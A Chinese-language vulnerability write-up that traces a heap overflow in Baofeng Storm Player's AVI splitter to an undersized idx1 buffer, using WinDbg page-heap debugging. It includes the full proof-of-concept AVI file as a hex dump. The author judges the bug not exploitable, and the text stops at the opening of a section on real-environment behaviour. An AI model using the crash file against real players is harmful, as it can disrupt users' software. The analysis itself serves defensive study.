0×00 背景

年前Fuzzing暴风影音时,得到一个avi格式poc样本,MSEC插件提示Exploitable,一直拖到现在才把整个分析过程整理出来。最后虽然无法成功利用,但总算搞清楚了漏洞产生的原因。期间自己也悟出了一些漏洞分析的基本思路,细细品味,甚是欢喜。故总结成文,希望能和大家共同探讨漏洞分析奥妙之一二。不当之处,敬请指正。

0×01 漏洞现场还原

系统环境:Win7 x64
暴风影音:5.67.0116.1111
发布日期:2017年01月17日

POC样本内容:

00000000h: 52 49 46 46 68 02 00 00 41 56 49 20 4C 49 53 54 ; RIFFh...AVI LIST
00000010h: 2A 02 00 00 68 64 72 6C FE 80 80 80 80 80 AD C1 ; *...hdrl€€€€
00000020h: B0 44 6A F8 80 80 81 AB FC 80 80 80 81 94 02 FE ; 癉j鴢€伀鼆€€仈.?
00000030h: 80 80 80 80 81 B9 F8 80 80 81 87 E0 81 87 E0 81 ; €€€€伖鴢€亣鄟囙?
00000040h: 9B E0 81 96 FE 80 80 80 80 81 B2 E0 80 A3 FC 80 ; 涏仏€€€伈鄝|€
00000050h: 80 80 81 85 FC 80 80 80 81 B5 FE 80 80 80 80 81 ; €€亝鼆€€伒€€€?
00000060h: 91 E0 80 BA F8 80 80 81 B1 E0 80 A2 F8 80 80 81 ; 戉€壶€€伇鄝Ⅷ€€?
00000070h: 82 F0 80 81 9E FE 80 80 80 80 81 B8 FE 80 80 80 ; 傪€仦€€€伕€€
00000080h: 80 81 AF 71 41 F8 80 80 81 BB F0 80 81 80 E0 81 ; €伅qA鴢€伝饊亐鄟
00000090h: 89 FE 80 80 80 80 80 BA 26 E0 80 A7 C0 B2 E0 81 ; 夻€€€€€?鄝Ю侧?
000000a0h: B3 C1 93 FC 80 80 80 81 9C FC 80 80 80 81 84 67 ; 沉擖€€€仠鼆€€亜g
000000b0h: FE 80 80 80 80 81 BC F8 80 80 81 97 E0 81 9D C1 ; €€€伡鴢€仐鄟澚
000000c0h: A9 67 FC 80 80 80 80 B3 FE 80 80 80 80 80 BE F0 ; ゞ鼆€€€楚€€€€€攫
000000d0h: 80 80 B2 E0 80 A1 E0 80 A2 C1 8A E0 81 BB F8 80 ; €€侧€∴€⒘娻伝鴢
000000e0h: 80 81 83 FE 80 80 80 80 81 94 E0 81 83 F0 80 81 ; €亙€€€仈鄟凁€?
000000f0h: 8B E0 80 AA C1 A4 F8 80 80 80 B9 FE 80 80 80 80 ; 嬥€€€€哈€€€€
00000100h: 81 AF 62 6B E0 80 B0 F8 80 80 80 BD E0 81 B8 C1 ; 伅bk鄝傍€€€洁伕?
00000110h: 82 FC 80 80 80 81 A5 F0 80 81 A9 FE 80 80 80 80 ; 傸€€€仴饊仼€€€
00000120h: 80 A4 F8 80 80 80 BA FE 80 80 80 80 80 BA F8 80 ; €€€€湖€€€€€壶€
00000130h: 80 81 9C 22 FE 80 80 80 80 80 B8 C1 8A FE 80 80 ; €仠"€€€€噶婠€€
00000140h: 80 80 81 B4 F8 80 80 81 8B F8 80 80 80 A8 F0 80 ; €€伌鴢€亱鴢€€€
00000150h: 81 91 F0 80 81 83 FE 80 80 80 80 81 97 F8 80 80 ; 亼饊亙€€€仐鴢€
00000160h: 81 AE F0 80 81 85 FE 80 80 80 80 81 BA FE 80 80 ; 伄饊亝€€€伜€
00000170h: 80 80 81 90 E0 81 88 F0 80 80 A8 60 C0 B2 79 F0 ; €€亹鄟堭€€╜啦y?
00000180h: 80 81 88 F0 80 81 AF E0 81 B8 C1 A4 F8 80 80 80 ; €亪饊伅鄟噶€€€
00000190h: BE 47 FE 80 80 80 80 81 8E E0 81 B3 C1 A6 FE 80 ; 綠€€€亷鄟沉€
000001a0h: 80 80 80 80 A6 51 38 00 00 00 00 00 00 00 00 00 ; €€€€8.........
000001b0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000001c0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000001d0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
000001e0h: 00 00 4C 49 53 54 4C 00 00 00 73 74 72 6C 73 74 ; ..LISTL...strlst
000001f0h: 72 68 00 00 00 00 61 75 64 73 00 00 00 00 00 00 ; rh....auds......
00000200h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000210h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000220h: 00 00 00 00 00 00 00 00 00 00 D1 1F 00 00 73 74 ; ..........?..st
00000230h: 72 66 00 00 00 00 4A 55 4E 4B 00 00 00 00 4C 49 ; rf....JUNK....LI
00000240h: 53 54 0C 00 00 00 49 4E 46 4F 49 53 42 4A 00 00 ; ST....INFOISBJ..
00000250h: 00 00 4C 49 53 54 0C 00 00 00 6D 6F 76 69 30 30 ; ..LIST....movi00
00000260h: 64 62 00 00 00 00 69 64 78 31 02 00 00 00 00 00 ; db....idx1......

将上述文件另存为poc.avi即可。

由于是堆溢出漏洞,在实际环境中,poc样本并不会立即导致StormPlayer.exe出现异常,为准确捕获漏洞现场并获得栈回溯的详细信息,需要提前开启hpa页堆调试选项和ust栈回溯选项:

> gflags.exe /i StormPlayer.exe +ust +hpa
Current Registry Settings for StormPlayer.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

windbg附加至StormPlayer.exe后,打开poc.avi样本,windbg中捕获下列异常:

(484.b28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=23c5d200 ebx=00000000 ecx=00000000 edx=00000002 esi=23c5d26e edi=22297000
eip=74b02016 esp=1488f2c8 ebp=1488f2d0 iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
MSVCR100!memcpy+0x196:
74b02016 8807            mov     byte ptr [edi],al          ds:002b:22297000=??

通过Windbg的Disassembly窗口查看附近指令:

74b02014 8a06            mov     al,byte ptr [esi]
74b02016 8807            mov     byte ptr [edi],al          ds:002b:22297000=??

查看mov指令源和目的操作数:

0:009> r al
al=0
0:009>r edi
edi=22297000
0:009> dd edi
22297000  ???????? ???????? ???????? ????????

由上述信息得知,edi所代表的目的地址219bd000是不可访问的。因此初步判断,造成异常的原因是,向一个不可访问的内存地址写入了单字节数据。

在windbg中继续执行:

0:009> g
ModLoad: 6a4f0000 6a519000   C:PROGRA~2BaofengSTORMP~1CoreCodecsffsource.ax
ModLoad: 6a450000 6a4e3000   C:PROGRA~2BaofengSTORMP~1CoreCodecsswscale.dll
StormPlayer---- CVideoContainer::OnSize---180660426
(e80.e30): C++ EH exception - code e06d7363 (first chance)
(e80.e30): C++ EH exception - code e06d7363 (first chance)
StormPlayer---- CVideoContainer::OnSize---2- 80660441
StormPlayer---- CVideoContainer::OnSize---3- 80660441
ModLoad: 642e0000 642f1000   C:WindowsSysWOW64cryptdll.dll

为何在上述异常出现后,程序仍能正常运行呢?先把这个问题留到后面第0×05小节回答。

在得知漏洞现场的基本情况后,会有以下几个疑惑:

a. 产生该漏洞的原因是什么?
b. 漏洞能否利用?
c. 异常之后为何能够继续执行?

0×02 漏洞分析过程

该如何下手分析这个漏洞呢?或许这也是很多童鞋要问的第一个问题。

根据漏洞现场附近的指令:

74b02011 c9              leave
74b02012 c3              ret
74b02013 90              nop
74b02014 8a06            mov     al,byte ptr [esi]
74b02016 8807            mov     byte ptr [edi],al          ds:002b:22297000=?? <--
74b02018 8a4601          mov     al,byte ptr [esi+1]
74b0201b 884701          mov     byte ptr [edi+1],al
74b0201e 8b4508          mov     eax,dword ptr [ebp+8]
74b02021 5e              pop     esi
74b02022 5f              pop     edi
74b02023 c9              leave
74b02024 c3              ret

可以看出,漏洞现场的mov指令涉及到数据al和内存地址edi,因此首先需要搞清这两者的来源,方能探知漏洞的成因。

先从漏洞现场的栈回溯信息看一下此时的程序逻辑:

0:034> k
ChildEBP RetAddr  
1613f2d0 67b87339 MSVCR100!memcpy+0x196 <--
WARNING: Stack unwind information not available. Following frames may be wrong.
1613f310 67b87037 AviSplitter!DllRegisterServer+0x679
1613f328 67b83203 AviSplitter!DllRegisterServer+0x377
1613f38c 67b8333f AviSplitter+0x3203
1613f3f0 67b835ce AviSplitter+0x333f
1613f414 67b837d1 AviSplitter+0x35ce
1613f438 67b85444 AviSplitter+0x37d1

由上可知,漏洞现场发生在memcpy拷贝函数中。

结合漏洞分析经验,这里猜测,很可能是在拷贝poc.avi样本中的内容时出现的问题(当然后续还需要验证猜测是否正确)。因此在具体分析之前,需要提前了解一些poc.avi样本文件的基本信息:

大小:0x270h
开头:52494646 RIFF魔术字

1. AL来自于哪里

从漏洞现场之前的指令序列:

74b02014 8a06            mov     al,byte ptr [esi]

可以看出,al来自于esi寄存器所代表的内存位置,查看esi地址的内存信息:

0:032> !address esi
Usage:                  PageHeap <--
Base Address:           231f6000
End Address:            23207000
Region Size:            00011000
State:                  00001000	MEM_COMMIT
Protect:                00000004	PAGE_READWRITE
Type:                   00020000	MEM_PRIVATE
Allocation Base:        23120000
Allocation Protect:     00000001	PAGE_NOACCESS

可以发现esi位于一个堆区内:

0:034> !heap -p -a 0x231f726e
    address 231f726e found in _DPH_HEAP_ROOT @ 6ff1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                22c21444:         231f7000            10000 -         231f6000            12000
    74c08e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77451d4e ntdll!RtlDebugAllocateHeap+0x00000030
    7740b586 ntdll!RtlpAllocateHeap+0x000000c4
    773b3541 ntdll!RtlAllocateHeap+0x0000023a
    74b10269 MSVCR100!malloc+0x0000004b
    61bbb327 mfc100u+0x000bb327
    67b87080 AviSplitter!DllRegisterServer+0x000003c0

可以得知,esi所在堆的用户起始地址为231f7000,查看内存内容:

0:034> db 231f7000
231f7000  52 49 46 46 68 02 00 00-41 56 49 20 4c 49 53 54  RIFFh...AVI LIST
231f7010  2a 02 00 00 68 64 72 6c-fe 80 80 80 80 80 ad c1  *...hdrl........
231f7020  b0 44 6a f8 80 80 81 ab-fc 80 80 80 81 94 02 fe  .Dj.............
231f7030  80 80 80 80 81 b9 f8 80-80 81 87 e0 81 87 e0 81  ................
231f7040  9b e0 81 96 fe 80 80 80-80 81 b2 e0 80 a3 fc 80  ................
231f7050  80 80 81 85 fc 80 80 80-81 b5 fe 80 80 80 80 81  ................
231f7060  91 e0 80 ba f8 80 80 81-b1 e0 80 a2 f8 80 80 81  ................
231f7070  82 f0 80 81 9e fe 80 80-80 80 81 b8 fe 80 80 80  ................

对比poc.avi样本内容:

00000000h: 52 49 46 46 68 02 00 00 41 56 49 20 4C 49 53 54 ; RIFFh...AVI LIST
00000010h: 2A 02 00 00 68 64 72 6C FE 80 80 80 80 80 AD C1 ; *...hdrl€€€€
00000020h: B0 44 6A F8 80 80 81 AB FC 80 80 80 81 94 02 FE ; 癉j鴢€伀鼆€€仈.?
00000030h: 80 80 80 80 81 B9 F8 80 80 81 87 E0 81 87 E0 81 ; €€€€伖鴢€亣鄟囙?
00000040h: 9B E0 81 96 FE 80 80 80 80 81 B2 E0 80 A3 FC 80 ; 涏仏€€€伈鄝|€
00000050h: 80 80 81 85 FC 80 80 80 81 B5 FE 80 80 80 80 81 ; €€亝鼆€€伒€€€?
00000060h: 91 E0 80 BA F8 80 80 81 B1 E0 80 A2 F8 80 80 81 ; 戉€壶€€伇鄝Ⅷ€€?

可以发现,堆中存储的内容就是poc.avi样本内容,漏洞现场的al来自于esi= 231f726e位置:

0:034> db 231f7250
231f7250  00 00 4c 49 53 54 0c 00-00 00 6d 6f 76 69 30 30  ..LIST....movi00
231f7260  64 62 00 00 00 00 69 64-78 31 02 00 00 00 00 00  db....idx1......

对比poc.avi文件的末尾内容:

00000250h: 00 00 4C 49 53 54 0C 00 00 00 6D 6F 76 69 30 30 ; ..LIST....movi00
00000260h: 64 62 00 00 00 00 69 64 78 31 02 00 00 00 00 00 ; db....idx1......

由此可知,al来自于poc.avi样本中倒数第二个字节。

关心漏洞能否利用的童鞋可能比较喜欢这个结论,为什么呢?因为al可控,结合漏洞现场的mov指令,如果edi也可控的话,就能达到任意内存写的目的。当然,这只是分析过程中的YY,具体还要看后面的分析情况。

2. EDI来自于哪里

从漏洞现场可知,edi无法写入,查看其地址信息:

0:006> !address edi
Usage:                  PageHeap
Base Address:           225ff000
End Address:            22600000
Region Size:            00001000
State:                  00002000	MEM_RESERVE
Protect:                <info not present at the target>
Type:                   00020000	MEM_PRIVATE
Allocation Base:        22520000
Allocation Protect:     00000001	PAGE_NOACCESS

可以发现,edi所代表的内存也位于一个页堆上,其属性为不可访问。查看页堆的详细信息:

0:034> !heap -p -a 0x225ff000
    address 225ff000 found in _DPH_HEAP_ROOT @ 6ff1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1794116c:         225feff8                4 -         225fe000             2000
    74c08e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77451d4e ntdll!RtlDebugAllocateHeap+0x00000030
    7740b586 ntdll!RtlpAllocateHeap+0x000000c4
    773b3541 ntdll!RtlAllocateHeap+0x0000023a
    74b10269 MSVCR100!malloc+0x0000004b
    61bbb327 mfc100u+0x000bb327
    67b83043 AviSplitter+0x00003043
    67b8333f AviSplitter+0x0000333f

页堆的起始地址为0x225feff8,大小是4个字节。而edi为0x225ff000,位于起始地址8字节之后:

0x225ff000-0x225feff8 = 8

查看该页堆的内容:

0:034> dd 0x225feff8
225feff8  31786469 00000002 ???????? ????????
225ff008  ???????? ???????? ???????? ????????

通过前面分析已经知道,漏洞现场向edi位置拷贝的al是poc.avi样本中倒数第二个字节,对比样本内容:

00000260h: 64 62 00 00 00 00 69 64 78 31 02 00 00 00 00 00

可以发现,页堆的前8个字节已经被拷贝为样本最后两个字节之前的8字节内容。

查看memcpy函数的参数:

0:034> kv
ChildEBP RetAddr  Args to Child              
1613f2d0 67b87339 225ff000 231f726e 00000002 MSVCR100!memcpy+0x196

根据memcpy函数原型:

void *memcpy(void *dest, const void *src, size_t n);

可知:

目的地址:	225ff000
源地址:	231f726e
拷贝大小:	00000002

可以发现,memcpy函数从样本内容的0x26e位置开始拷贝,拷贝大小为2字节。

不难总结出以下现象:

a. 进程准备向大小只有4 bytes的页堆拷贝poc.avi样本中最后两个字节时,造成了溢出
b. 页堆在漏洞现场的memcpy函数使用前,已经被写入了8个字节的内容,其中第5-8字节写入的内容,也属于溢出部分
c. 这8个字节的内容与文件中倒数第二个字节之前的8个字节内容相同

当然,分析到这里,已经得知, edi来自于系统malloc函数申请的堆内存的溢出位置,不可控,也就无法实现之前设想的任意地址重写的目的。

3. memcpy函数的奥秘

分析到这里,可能会有疑惑:

a. 为何该堆的大小只有4个字节,而之前写入的8个字节没有因为溢出出现异常,反而是再写入2个字节时就产生了异常?
b. 为何memcpy明明从样本倒数第二个字节0x26e开始拷贝,而之前的8个字节已经被写入到堆的前8个字节?难不成在memcpy函数之前,就进行了堆的写入操作?

要解决这些疑惑,就要去看看堆创建后是如何向里面写入内容的。由堆的栈回溯信息:

0:034> !heap -p -a 0x225ff000
    address 225ff000 found in _DPH_HEAP_ROOT @ 6ff1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                1794116c:         225feff8                4 -         225fe000             2000
    74c08e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77451d4e ntdll!RtlDebugAllocateHeap+0x00000030
    7740b586 ntdll!RtlpAllocateHeap+0x000000c4
    773b3541 ntdll!RtlAllocateHeap+0x0000023a
    74b10269 MSVCR100!malloc+0x0000004b
    61bbb327 mfc100u+0x000bb327
    67b83043 AviSplitter+0x00003043 <--
    67b8333f AviSplitter+0x0000333f

可知AviSplitter+0×00003043之前的call指令就是进程创建该堆的地方:

AviSplitter+0x00003043
69e6303a 8d0c12          lea     ecx,[edx+edx]
69e6303d 51              push    ecx
69e6303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (69e778ac)
69e63043 8986d4000000    mov     dword ptr [esi+0D4h],eax

备注:根据!heap –p –a命令的栈回溯信息可知,堆操作相关调用顺序如下:

call AviSplitter!DllGetClassObject+0x337c --> mfc100u+0x000bb327 --> MSVCR100!malloc

因此不考虑系统函数,进程中创建该堆的指令即为call指令。在此处下断点:

0:005> bp AviSplitter+0x0000303e

重新加载样本:

Breakpoint 0 hit
eax=31786469 ebx=00000000 ecx=00000004 edx=00000002 esi=22392f08 edi=00000270
eip=69e6303e esp=0f8bf338 ebp=0f8bf38c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AviSplitter+0x303e:
69e6303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (69e778ac)

F10 Step Over单步执行:

0:005> p
eax=1a7d2ff8 ebx=00000000 ecx=00000004 edx=00000000 esi=22392f08 edi=00000270
eip=69e63043 esp=0f8bf338 ebp=0f8bf38c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AviSplitter+0x3043:
69e63043 8986d4000000    mov     dword ptr [esi+0D4h],eax ds:002b:22392fdc=00000000

根据“一般情况下,函数返回值是通过eax进行传递”的规律,此时eax就是malloc函数申请的页堆起始地址。查看页堆信息:

0:005> !heap -p -a eax
    address 1a7d2ff8 found in _DPH_HEAP_ROOT @ 6d51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                          1ed50104:               1a7d2ff8                4 -         1a7d2000             2000
    6c918e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    776b1d4e ntdll!RtlDebugAllocateHeap+0x00000030
    7766b586 ntdll!RtlpAllocateHeap+0x000000c4
    77613541 ntdll!RtlAllocateHeap+0x0000023a
    6c850269 MSVCR100!malloc+0x0000004b
    65feb327 mfc100u+0x000bb327
    69e63043 AviSplitter+0x00003043
    69e6333f AviSplitter+0x0000333f

可以发现该页堆申请了4个字节,查看堆的内容:

0:005> dd eax
1a7d2ff8  c0c0c0c0 d0d0d0d0 ???????? ????????
1a7d3008  ???????? ???????? ???????? ????????

要是说c0c0c0c0填充代表着堆的初始化数据,那尾部出现d0d0d0的填充代表什么呢?

查看<软件调试>P680第23.9.3页堆的堆块结构小节可知:

页堆堆块的数据区由三部分组成,起始处是一个固定长度0×20字节的DPH_BLOCK_INFORMATION结构,我们将其称为页堆堆块的头结构;中间是用户数据区;最后是用于满足分配粒度要求而多分配的额外字节。如果应用程序申请的长度(即用户数据区的长度)正好是分配粒度的倍数,比如16字节,那么第三部分就不存在了。

查看eax前移0×20字节的内存:

0:005> dd eax-0x20
1a7d2fd8  abcdbbbb 06d51000 00000004 00001000
1a7d2fe8  00000000 00000000 03f54484 dcbabbbb
1a7d2ff8  c0c0c0c0 d0d0d0d0 ???????? ????????
1a7d3008  ???????? ???????? ???????? ????????

还可以查看DPH_BLOCK_INFORMATION结构的详细信息:

0:005> dt ntdll!_DPH_BLOCK_INFORMATION eax-0x20
   +0x000 StartStamp       : 0xabcdbbbb
   +0x004 Heap             : 0x06d51000 Void
   +0x008 RequestedSize    : 4
   +0x00c ActualSize       : 0x1000
   +0x010 FreeQueue        : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x010 FreePushList     : _SINGLE_LIST_ENTRY
   +0x010 TraceIndex       : 0
   +0x018 StackTrace       : 0x03f54484 Void
   +0x01c EndStamp         : 0xdcbabbbb

书中P681表23-7也列举了页堆堆块的填充模式:

占用堆块空闲堆块
头结构的Start MagicABCDBBBBABCDBBBA
头结构的End MagicDCBABBBBDCBABBBA
用户区C0或用户初始化00F0
用户数据后的填充部分D0N/A

因此,为了满足Windows中8字节的分配粒度,该页堆虽然只申请了4字节,但尾部也填充了4字节的d0d0d0d0。这样也就解释了“为何该堆的大小只有4个字节,而已经写入了8个字节却没有出现异常”这个疑惑。

再看第二个疑惑:

为何memcpy明明从样本倒数第二个字节0x26e开始拷贝,而之前的8个字节已经被写入到堆的前8个字节?难不成在memcpy函数之前,就进行了堆的写入操作?

要想验证memcpy函数之前对该堆的写入操作,就要在堆创建后下内存写断点:

ba w4 eax

首先在在堆创建时下断点,得到堆的起始地址:

0:027> bp AviSplitter+0x0000303e
0:027> g
Breakpoint 1 hit
eax=31786469 ebx=00000000 ecx=00000004 edx=00000002 esi=21ed6f08 edi=00000270
eip=69e6303e esp=2516f338 ebp=2516f38c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AviSplitter+0x303e:
69e6303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (69e778ac)
0:027> p
eax=21510ff8 ebx=00000000 ecx=00000004 edx=00000000 esi=21ed6f08 edi=00000270
eip=69e63043 esp=2516f338 ebp=2516f38c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AviSplitter+0x3043:
69e63043 8986d4000000    mov     dword ptr [esi+0D4h],eax ds:002b:21ed6fdc=00000000

上面申请的页堆起始地址eax=21510ff8,对之后8个字节下内存写断点:

0:027> ba w8 0x21510ff8
0:027> g
Breakpoint 2 hit
eax=21510ff8 ebx=00000000 ecx=00000004 edx=00000000 esi=21ed6f08 edi=00000270
eip=69e6304f esp=2516f338 ebp=2516f38c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AviSplitter+0x304f:
69e6304f 8b45ec          mov     eax,dword ptr [ebp-14h] ss:002b:2516f378=00000002
0:027> g
Breakpoint 2 hit
eax=00000002 ebx=00000000 ecx=00000004 edx=21510ff8 esi=21ed6f08 edi=00000270
eip=69e6305e esp=2516f33c ebp=2516f38c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AviSplitter+0x305e:
69e6305e 8b86d4000000    mov     eax,dword ptr [esi+0D4h] ds:002b:21ed6fdc=21510ff8

细心对比相关指令发现,这些内存写操作就发生在call指令创建页堆之后:

69e6303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (69e778ac)  <--创建页堆
69e63043 8986d4000000    mov     dword ptr [esi+0D4h],eax
69e63049 c70069647831    mov     dword ptr [eax],31786469h  <--写第1-4字节
69e6304f 8b45ec          mov     eax,dword ptr [ebp-14h]
69e63052 8b96d4000000    mov     edx,dword ptr [esi+0D4h]
69e63058 83c404          add     esp,4
69e6305b 894204          mov     dword ptr [edx+4],eax  <--写第5-8字节
69e6305e 8b86d4000000    mov     eax,dword ptr [esi+0D4h]
69e63064 8b4dec          mov     ecx,dword ptr [ebp-14h]
69e63067 6a00            push    0
69e63069 51              push    ecx
69e6306a 83c008          add     eax,8
69e6306d e989010000      jmp     AviSplitter+0x31fb (69e631fb)

由上可知,当页堆被创建后,无论申请的大小是多少,从页堆起始地址开始的8个字节就被赋予了下列内容:

|69 64 78 31 |02 00 00 00|

其中,前4个字节是以固定指令写入的,并不是样本文件中的内容,而后4个字节与样本最后两个字节之前的4字节内容相同:

00000260h: 64 62 00 00 00 00 69 64 78 31 02 00 00 00 41 42 

那如何验证后4个字节与样本内容是否存在关系呢?将样本末尾内容修改为:

00000260h: 64 62 00 00 00 00 69 64 78 31 03 00 00 00 41 42 

重新加载poc.avi并下堆的创建断点:

0:003> bp AviSplitter+0x0000303e
0:034> g
Breakpoint 1 hit
eax=31786469 ebx=00000000 ecx=00000006 edx=00000003 esi=238eaf08 edi=00000270
eip=6697303e esp=1758f338 ebp=1758f38c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AviSplitter+0x303e:
6697303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (669878ac)

创建堆后:

0:034> p
eax=229dcff8 ebx=00000000 ecx=00000006 edx=00000000 esi=238eaf08 edi=00000270
eip=66973043 esp=1758f338 ebp=1758f38c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
AviSplitter+0x3043:
66973043 8986d4000000    mov     dword ptr [esi+0D4h],eax ds:002b:238eafdc=00000000

查看此时的附近的指令:

66973032 894dec          mov     dword ptr [ebp-14h],ecx
66973035 e908030000      jmp     AviSplitter+0x3342 (66973342)
6697303a 8d0c12          lea     ecx,[edx+edx]
6697303d 51              push    ecx
6697303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (669878ac)
66973043 8986d4000000    mov     dword ptr [esi+0D4h],eax
66973049 c70069647831    mov     dword ptr [eax],31786469h
6697304f 8b45ec          mov     eax,dword ptr [ebp-14h] <-- eax的来源
66973052 8b96d4000000    mov     edx,dword ptr [esi+0D4h]
66973058 83c404          add     esp,4
6697305b 894204          mov     dword ptr [edx+4],eax <-- 写入第5-8个字节
6697305e 8b86d4000000    mov     eax,dword ptr [esi+0D4h]
66973064 8b4dec          mov     ecx,dword ptr [ebp-14h]
66973067 6a00            push    0
66973069 51              push    ecx
6697306a 83c008          add     eax,8
6697306d e989010000      jmp     AviSplitter+0x31fb (669731fb)

此时第5-8字节写入的内容来自于eax,eax又来自于ebp-0×14位置:

0:034> dd ebp-0x14 l1
1758f378  00000003

可以发现,向第5-8字节写入的内容与修改后的样本对应内容完全一致。因此可以断定,向页堆第5-8个字节写入的确实是样本文件中的内容。

到这里,得出结论:

a. 提前写入的8个字节当中,前4个字节是以固定指令写入的,后4个字节写入的是样本文件内容
b. 在执行memcpy函数之前,堆创建后立即被写入了这8个字节

在上述call指令断点时,还发现一个现象:

0:034> r ecx
ecx=00000006

结合上述断点处的指令序列,call指令调用的是malloc函数,其输入参数是ecx=00000006,也就是申请的页堆大小为6字节。查看生成的页堆信息:

0:034> !heap -p -a eax
    address 229dcff8 found in _DPH_HEAP_ROOT @ 6d11000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                22d21e04:         229dcff8                6 -         229dc000             2000
    6c1d8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77f21d4e ntdll!RtlDebugAllocateHeap+0x00000030
    77edb586 ntdll!RtlpAllocateHeap+0x000000c4
    77e83541 ntdll!RtlAllocateHeap+0x0000023a
    75440269 MSVCR100!malloc+0x0000004b

可以发现:

a. 当poc.avi样本文件中0x26a位置为02 00 00 00时,申请堆大小为4字节
b. 当poc.avi样本文件中0x26a位置为03 00 00 00时,申请堆大小为6字节

结合call指令之前的指令:

6697303a 8d0c12          lea     ecx,[edx+edx]
6697303d 51              push    ecx
6697303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (669878ac)

edx等于样本文件0x26a位置的数值,可以断定:

生成的页堆大小正好是poc.avi样本文件中0x26a位置所代表数值的两倍

那为何会出现这种规律呢?下面结合avi的格式探究一下漏洞的成因。

4. 再探漏洞成因

漏洞现场主要涉及poc.avi样本末尾的相关数据:

69 64 78 31 02 00 00 00 41 42 idx1.AB

以固定指令写入的69 64 78 31正好是魔术字idx1,这就为文件内容和avi格式建立起了联系。下面是查询的该魔术字相关字段的格式:

<Block name="AviIndexChunk">
	<Block name="IndexChunkHeader">
		<String name="AviIndex1Start" value="idx1" token="true"/>
		<Number name="cbFileSize" size="32" endian="little" signed="false"> 
			<Relation type="size" of="IndexChunkData" />
		</Number>					
	</Block>
	<Block name="IndexChunkData">
		<Number name="null" size="16" endian="little" signed="false"/>
	</Block>
</Block>

可以看出样本末尾相关内容对应的逻辑为:

-IndexChunkHeader
 +AviIndex1Start --> 69 64 78 31
 +cbFileSize     --> 02 00 00 00
-IndexChunkData
 + null          --> 41 42

显而易见cbFileSize本意代表IndexChunkData的大小。

根据上面分析过程,页堆的申请大小等于cbFileSize*2,实际根据分配粒度将其扩容为8字节的倍数。如果向页堆写入的8字节IndexChunkHeader和后续IndexChunkData的内容超过页堆的实际大小,就会造成堆溢出。

因此漏洞的成因就是,在页堆申请时,只是单纯地将页堆大小设置为cbFileSize的2倍,没有考虑页堆前8个字节要写入固定的内容IndexChunkHeader,从而造成了堆溢出。

0×03 漏洞造成的具体影响

经反复修改poc.avi样本文件中的cbFileSize的数值和IndexChunkData内容,可以发现memcpy函数的第三个参数“拷贝大小”与两者有下列关系:

memcpy_size = min(cbFileSize, sizeof(IndexChunkData))

而通过上面的分析可知,堆溢出必须满足关系:

memcpy_size + 8  > cbFileSize*2 

那如果排除页堆末尾的填充字节,另外最多可以造成多少字节的溢出呢?

通过上述两个数学关系可以得到:

a. 若cbFileSize < sizeof(IndexChunkData),memcpy_size= cbFileSize,从而得出cbFileSize < 8
b. 若cbFileSize > sizeof(IndexChunkData),memcpy_size= sizeof(IndexChunkData),也能得出cbFileSize < 8

综上所述,cbFileSize的数值必须小于8,才有可能出现堆溢出。

列举cbFileSize所有可能的数值:

cbFileSize=1,heap_size = 8,至多溢出1个字节
cbFileSize=2,heap_size = 8,至多溢出2个字节
cbFileSize=3,heap_size = 8,至多溢出3个字节
cbFileSize=4,heap_size = 8,至多溢出4个字节
cbFileSize=5,heap_size = 16,不溢出
cbFileSize=6,heap_size = 16,不溢出
cbFileSize=7,heap_size = 16,不溢出
cbFileSize=8,heap_size = 16,不溢出

由此可知,当且仅当cbFileSize=4时,至多可以溢出页堆填充字节之后的4个字节。也就是说,该堆溢出漏洞造成的最大影响就是,重写堆填充字节之后的4个字节。

0×04 真实环境下的堆溢出

在开启页堆调试选项hpa的情况下,当溢出堆填充字节之后的第一个字节时,调试器就会捕获异常,无法完成4字节的完整溢出。

为看到真实的溢出效果,关闭hpa选项:

